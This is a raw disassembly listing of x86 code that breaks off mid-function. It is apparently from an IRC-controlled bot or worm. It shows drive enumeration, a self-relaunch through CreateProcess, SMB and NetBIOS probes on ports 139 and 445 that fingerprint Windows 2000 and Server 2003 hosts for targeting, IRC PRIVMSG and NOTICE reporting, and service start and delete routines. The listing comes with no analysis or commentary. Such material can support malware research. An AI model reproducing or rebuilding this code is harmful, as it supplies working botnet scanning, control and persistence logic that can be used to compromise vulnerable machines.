		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40A9EF
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AB0F
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AB0F
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AB0F
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_415A30
		push	edx
		push	eax
		call	sub_40A927
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_415A30
		push	edx
		push	eax
		call	sub_40A927
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_415A30
		push	edx
		push	eax
		call	sub_40A927
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40AB3E
; ---------------------------------------------------------------------------


loc_40AB0F:				; CODE XREF: sub_40AA37+2Cj
					; sub_40AA37+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_413812
		add	esp, 18h


loc_40AB3E:				; CODE XREF: sub_40AA37+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40AA37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB52	proc near		; CODE XREF: sub_40AC2A+17p
					; sub_40AC2A+60p

var_400		= byte ptr -400h
var_280		= byte ptr -280h
var_200		= byte ptr -200h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_400]
		push	ebx
		push	eax
		call	sub_40AA37
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_400]
		rep movsd
		push	60h
		lea	esi, [ebp+var_400]
		pop	ecx
		lea	edi, [ebp+var_280]
		lea	eax, [ebp+var_180]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_413C30
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40ABC8
		push	ebx
		push	ebx
		call	sub_40A9A6
		pop	ecx
		push	eax
		push	offset unk_42929C
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 14h
		jmp	short loc_40ABFF
; ---------------------------------------------------------------------------


loc_40ABC8:				; CODE XREF: sub_40AB52+50j
		lea	eax, [ebp+var_280]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_180]
		push	eax
		push	ebx
		push	ebx
		call	sub_40A9A6
		pop	ecx
		push	eax
		push	offset unk_429250
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 20h


loc_40ABFF:				; CODE XREF: sub_40AB52+74j
		push	1
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_409833
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC2A	proc near		; CODE XREF: sub_40CC09+4DA4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40AC4B
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40AB52
		add	esp, 10h
		jmp	short loc_40ACAC
; ---------------------------------------------------------------------------


loc_40AC4B:				; CODE XREF: sub_40AC2A+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_44CC58	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_413F0B
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_44CC58	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40ACA3


loc_40AC6F:				; CODE XREF: sub_40AC2A+77j
		push	offset off_4292EC
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AC92
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40AB52
		add	esp, 10h


loc_40AC92:				; CODE XREF: sub_40AC2A+54j
		push	esi
		call	sub_413E90
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40AC6F


loc_40ACA3:				; CODE XREF: sub_40AC2A+43j
		push	edi
		call	sub_413F7F
		pop	ecx
		pop	edi
		pop	esi


loc_40ACAC:				; CODE XREF: sub_40AC2A+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40AC2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ACAF	proc near		; DATA XREF: sub_40C2D0+14o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_452134
		call	dword_44CD70	; closesocket
		call	sub_413487
		call	dword_44CC48	; WSACleanup
		call	dword_44CC48	; WSACleanup
		mov	ebx, dword_41F050
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_413890
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_413890
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_438A10
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_41F0FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_41F060	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_41F0D4	; CreateProcessA
		test	eax, eax
		jz	short loc_40AD74
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_41F058
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_40AD74:				; CODE XREF: sub_40ACAF+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_450FE0
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_41F104	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_40ACAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD97	proc near		; CODE XREF: sub_40ADCF+2FBp
					; sub_40ADCF+31Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40ADC5


loc_40ADA8:				; CODE XREF: sub_40AD97+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_415AE0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40ADCB
		inc	esi
		cmp	esi, edi
		jl	short loc_40ADA8


loc_40ADC5:				; CODE XREF: sub_40AD97+Fj
		xor	al, al


loc_40ADC7:				; CODE XREF: sub_40AD97+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40ADCB:				; CODE XREF: sub_40AD97+27j
		mov	al, 1
		jmp	short loc_40ADC7
sub_40AD97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADCF	proc near		; CODE XREF: seg001:0040357Bp
					; seg001:00403592p ...

var_2614	= byte ptr -2614h
var_2613	= byte ptr -2613h
var_2612	= byte ptr -2612h
var_614		= byte ptr -614h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_118		= byte ptr -118h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2614h
		call	sub_413E60
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		dec	eax
		push	edi
		jz	loc_40B140
		dec	eax
		jz	loc_40B11B
		dec	eax
		jz	short loc_40AE72
		dec	eax
		jz	loc_40B008
		dec	eax
		jnz	short loc_40AE72
		push	6
		push	1
		push	2
		call	dword_44CD58	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40AE72
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	8Bh
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_12], ax
		call	sub_408947
		pop	ecx
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	dword_44CC88	; connect
		cmp	eax, edi
		jz	short loc_40AE72
		push	ebx
		push	48h
		push	offset unk_429380
		push	esi
		call	dword_44CD28	; send
		cmp	eax, edi
		jnz	short loc_40AE79
		push	esi


loc_40AE6C:				; CODE XREF: sub_40ADCF+11Ej
		call	dword_44CD70	; closesocket


loc_40AE72:				; CODE XREF: sub_40ADCF+22j
					; sub_40ADCF+2Cj ...
		xor	eax, eax


loc_40AE74:				; CODE XREF: sub_40ADCF+215j
					; sub_40ADCF+234j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AE79:				; CODE XREF: sub_40ADCF+9Aj
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_44CCF4	; recv
		cmp	eax, edi
		jz	short loc_40AEEA
		push	ebx
		push	33h
		push	offset dword_4293CC
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		cmp	eax, edi
		jz	short loc_40AEEA
		push	ebx
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_44CCF4	; recv
		cmp	eax, edi
		jz	short loc_40AEEA
		push	ebx
		push	4Ch
		push	offset dword_429400
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		cmp	eax, edi
		jz	short loc_40AEEA
		push	ebx
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_44CCF4	; recv
		cmp	eax, edi
		jnz	short loc_40AEF2


loc_40AEEA:				; CODE XREF: sub_40ADCF+C3j
					; sub_40ADCF+D8j ...
		push	[ebp+arg_4]
		jmp	loc_40AE6C
; ---------------------------------------------------------------------------


loc_40AEF2:				; CODE XREF: sub_40ADCF+119j
		lea	esi, [eax-2]
		mov	[ebp+arg_0], ebx
		cmp	esi, ebx
		jle	short loc_40AF45
		lea	edi, [ebp+esi+var_2613]


loc_40AF03:				; CODE XREF: sub_40ADCF+174j
		cmp	[ebp+arg_0], 4
		jge	short loc_40AF45
		cmp	[edi-1], bl
		jnz	short loc_40AF3F
		mov	eax, [ebp+arg_0]
		sub	eax, ebx
		jz	short loc_40AF2D
		dec	eax
		jz	short loc_40AF24
		dec	eax
		jnz	short loc_40AF3C
		push	edi
		lea	eax, [ebp+var_414]
		jmp	short loc_40AF34
; ---------------------------------------------------------------------------


loc_40AF24:				; CODE XREF: sub_40ADCF+147j
		push	edi
		lea	eax, [ebp+var_214]
		jmp	short loc_40AF34
; ---------------------------------------------------------------------------


loc_40AF2D:				; CODE XREF: sub_40ADCF+144j
		push	edi
		lea	eax, [ebp+var_614]


loc_40AF34:				; CODE XREF: sub_40ADCF+153j
					; sub_40ADCF+15Cj
		push	eax
		call	sub_414FB0
		pop	ecx
		pop	ecx


loc_40AF3C:				; CODE XREF: sub_40ADCF+14Aj
		inc	[ebp+arg_0]


loc_40AF3F:				; CODE XREF: sub_40ADCF+13Dj
		dec	esi
		dec	edi
		cmp	esi, ebx
		jg	short loc_40AF03


loc_40AF45:				; CODE XREF: sub_40ADCF+12Bj
					; sub_40ADCF+138j
		push	[ebp+arg_4]
		call	dword_44CD70	; closesocket
		lea	eax, [ebp+var_214]
		push	eax
		push	offset aWindowsServer2 ; "Windows Server 2003 *.*"
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AF69
		push	4
		jmp	short loc_40AFE3
; ---------------------------------------------------------------------------


loc_40AF69:				; CODE XREF: sub_40ADCF+194j
		lea	eax, [ebp+var_214]
		push	eax
		push	offset aNtLanManager_ ;	"NT LAN	Manager	*.*"
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AF84
		push	1
		jmp	short loc_40AFE3
; ---------------------------------------------------------------------------


loc_40AF84:				; CODE XREF: sub_40ADCF+1AFj
		lea	eax, [ebp+var_214]
		mov	esi, offset aWindows2000Lan ; "Windows 2000 LAN	Manager*"
		push	eax
		push	esi
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFB7
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_42947C
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFB7
		push	2
		jmp	short loc_40AFE3
; ---------------------------------------------------------------------------


loc_40AFB7:				; CODE XREF: sub_40ADCF+1CBj
					; sub_40ADCF+1E2j
		lea	eax, [ebp+var_214]
		push	eax
		push	esi
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFE9
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_429470
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFE9
		push	3


loc_40AFE3:				; CODE XREF: sub_40ADCF+198j
					; sub_40ADCF+1B3j ...
		pop	eax
		jmp	loc_40AE74
; ---------------------------------------------------------------------------


loc_40AFE9:				; CODE XREF: sub_40ADCF+1F9j
					; sub_40ADCF+210j
		lea	eax, [ebp+var_214]
		push	eax
		push	offset dword_429468
		call	sub_413617
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		and	eax, 5
		jmp	loc_40AE74
; ---------------------------------------------------------------------------


loc_40B008:				; CODE XREF: sub_40ADCF+25j
		push	[ebp+arg_0]
		mov	esi, 104h
		lea	eax, [ebp+var_118]
		xor	edi, edi
		push	offset dword_429460
		push	esi
		push	eax
		xor	ebx, ebx
		mov	[ebp+var_4], edi
		call	sub_413D8A
		push	esi
		lea	eax, [ebp+var_118]
		push	offset dword_429450
		push	eax
		call	sub_415310
		add	esp, 1Ch
		lea	eax, [ebp+var_118]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_41F05C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_4], eax
		jz	loc_40B114
		mov	edi, 186A0h
		push	edi
		call	sub_413F0B
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_413890
		add	esp, 10h
		lea	eax, [ebp+arg_0]
		mov	edi, dword_41F108
		push	ebx
		push	eax
		push	2710h
		push	esi
		push	48h
		push	offset dword_4292F0
		push	[ebp+arg_4]
		call	edi	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40B101
		lea	eax, [ebp+arg_0]
		push	ebx
		push	eax
		push	2710h
		push	esi
		push	18h
		push	offset dword_42933C
		push	[ebp+arg_4]
		call	edi	; TransactNamedPipe
		cmp	byte ptr [esi+2], 2
		jnz	short loc_40B101
		push	10h
		push	offset loc_429358
		push	[ebp+arg_0]
		push	esi
		call	sub_40AD97
		add	esp, 10h
		test	al, al
		jz	short loc_40B0E3
		cmp	[ebp+arg_0], 12Ch
		sbb	edi, edi
		inc	edi
		inc	edi
		jmp	short loc_40B104
; ---------------------------------------------------------------------------


loc_40B0E3:				; CODE XREF: sub_40ADCF+305j
		push	10h
		push	offset dword_42936C
		push	[ebp+arg_0]
		push	esi
		call	sub_40AD97
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	edi, eax
		jmp	short loc_40B104
; ---------------------------------------------------------------------------


loc_40B101:				; CODE XREF: sub_40ADCF+2D1j
					; sub_40ADCF+2EEj
		mov	edi, [ebp+var_4]


loc_40B104:				; CODE XREF: sub_40ADCF+312j
					; sub_40ADCF+330j
		push	esi
		call	sub_413F7F
		pop	ecx
		push	[ebp+arg_4]
		call	dword_41F058	; CloseHandle


loc_40B114:				; CODE XREF: sub_40ADCF+292j
		mov	eax, edi
		jmp	loc_40AE74
; ---------------------------------------------------------------------------


loc_40B11B:				; CODE XREF: sub_40ADCF+1Bj
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_44CD18	; inet_addr
		push	eax
		call	sub_4064D1
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	loc_40AE74
; ---------------------------------------------------------------------------


loc_40B140:				; CODE XREF: sub_40ADCF+14j
		push	6
		push	1
		push	2
		call	dword_44CD58	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	loc_40AE72
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	87h
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_12], ax
		call	sub_408947
		pop	ecx
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	dword_44CC88	; connect
		cmp	eax, edi
		jz	loc_40B25F
		push	ebx
		push	48h
		push	offset dword_4292F0
		push	esi
		call	dword_44CD28	; send
		cmp	eax, edi
		jz	loc_40B25F
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_44CCF4	; recv
		cmp	eax, edi
		jz	loc_40B25F
		cmp	[ebp+var_2612],	0Ch
		jnz	short loc_40B25F
		push	ebx
		push	18h
		push	offset dword_42933C
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		cmp	eax, edi
		jz	short loc_40B25F
		push	ebx
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_44CCF4	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40B25F
		cmp	[ebp+var_2612],	2
		jnz	short loc_40B25F
		push	10h
		push	offset loc_429358
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		call	sub_40AD97
		add	esp, 10h
		test	al, al
		jz	short loc_40B23F
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40B25F
; ---------------------------------------------------------------------------


loc_40B23F:				; CODE XREF: sub_40ADCF+462j
		push	10h
		push	offset dword_42936C
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		call	sub_40AD97
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_40B25F:				; CODE XREF: sub_40ADCF+3CEj
					; sub_40ADCF+3E5j ...
		push	[ebp+arg_4]
		call	dword_44CD70	; closesocket
		mov	eax, ebx
		jmp	loc_40AE74
sub_40ADCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B26F	proc near		; CODE XREF: sub_40CA91+3Dp
					; sub_40CC09+1CBp ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_100]
		push	[ebp+arg_4]
		push	0FFh
		push	eax
		call	sub_41576F
		add	esp, 10h
		lea	eax, [ebp+var_100]
		push	0
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		leave
		retn
sub_40B26F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B5	proc near		; CODE XREF: sub_401000+88p
					; sub_401447+77p ...

var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40B2D0
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40B2D0:				; CODE XREF: sub_40B2B5+14j
		push	edi
		call	sub_413E90
		push	[ebp+arg_4]
		mov	esi, 0F9h
		sub	esi, eax
		call	sub_413E90
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_200]
		push	offset aS_3	; "%s"
		push	esi
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_100]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_413812
		add	esp, 2Ch
		lea	eax, [ebp+var_100]
		push	0
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40B34E
		push	7D0h
		call	dword_41F050	; Sleep

locret_40B34E:				; CODE XREF: sub_40B2B5+8Cj
		leave
		retn
sub_40B2B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B350	proc near		; CODE XREF: sub_40CC09:loc_40E863p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40B3B5
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4294F8[esi]
		push	edi
		push	eax
		call	sub_40B3D7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40B398
		push	edi
		push	off_4294F4[esi]
		mov	esi, offset dword_4513A4
		push	offset unk_42962C
		push	esi
		call	sub_413812
		add	esp, 10h
		jmp	short loc_40B3D2
; ---------------------------------------------------------------------------


loc_40B398:				; CODE XREF: sub_40B350+2Aj
		push	eax
		call	sub_40B479
		push	eax
		push	edi
		mov	esi, offset dword_4513A4
		push	offset unk_4295F0
		push	esi
		call	sub_413812
		add	esp, 14h
		jmp	short loc_40B3D2
; ---------------------------------------------------------------------------


loc_40B3B5:				; CODE XREF: sub_40B350+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4513A4
		push	off_4294F0[eax*4]
		push	offset unk_4295B8
		push	esi
		call	sub_413812
		add	esp, 0Ch


loc_40B3D2:				; CODE XREF: sub_40B350+46j
					; sub_40B350+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40B350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3D7	proc near		; CODE XREF: sub_40B350+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_44CCD0	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40B3FE
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40B473
; ---------------------------------------------------------------------------


loc_40B3FE:				; CODE XREF: sub_40B3D7+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_44CBD4	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40B41E
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40B46B
; ---------------------------------------------------------------------------


loc_40B41E:				; CODE XREF: sub_40B3D7+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40B451
		cmp	eax, 3
		jz	short loc_40B442
		jle	short loc_40B464
		cmp	eax, 6
		jg	short loc_40B464
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_44CC3C	; ControlService
		jmp	short loc_40B458
; ---------------------------------------------------------------------------


loc_40B442:				; CODE XREF: sub_40B3D7+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_44CBDC	; StartServiceA
		jmp	short loc_40B458
; ---------------------------------------------------------------------------


loc_40B451:				; CODE XREF: sub_40B3D7+4Dj
		push	esi
		call	dword_44CC40	; DeleteService


loc_40B458:				; CODE XREF: sub_40B3D7+69j
					; sub_40B3D7+78j
		test	eax, eax
		jnz	short loc_40B464
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_40B464:				; CODE XREF: sub_40B3D7+54j
					; sub_40B3D7+59j ...
		push	esi
		call	dword_44CBF0	; CloseServiceHandle


loc_40B46B:				; CODE XREF: sub_40B3D7+45j
		push	edi
		call	dword_44CBF0	; CloseServiceHandle
		pop	esi


loc_40B473:				; CODE XREF: sub_40B3D7+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40B3D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B479	proc near		; CODE XREF: sub_40B350+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40B52E
		jz	loc_40B527
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40B4F1
		jz	short loc_40B4E7
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40B4DD
		dec	ecx
		dec	ecx
		jz	short loc_40B4D3
		dec	ecx
		jz	short loc_40B4C9
		sub	ecx, 51h
		jz	short loc_40B4BF
		sub	ecx, 24h
		jnz	loc_40B5A4	; default
					; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4BF:				; CODE XREF: sub_40B479+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B479+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4D3:				; CODE XREF: sub_40B479+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4DD:				; CODE XREF: sub_40B479+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4E7:				; CODE XREF: sub_40B479+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B4F1:				; CODE XREF: sub_40B479+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40B520
		dec	ecx
		jz	short loc_40B519
		dec	ecx
		jz	short loc_40B512
		dec	ecx
		jnz	loc_40B5A4	; default
					; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16
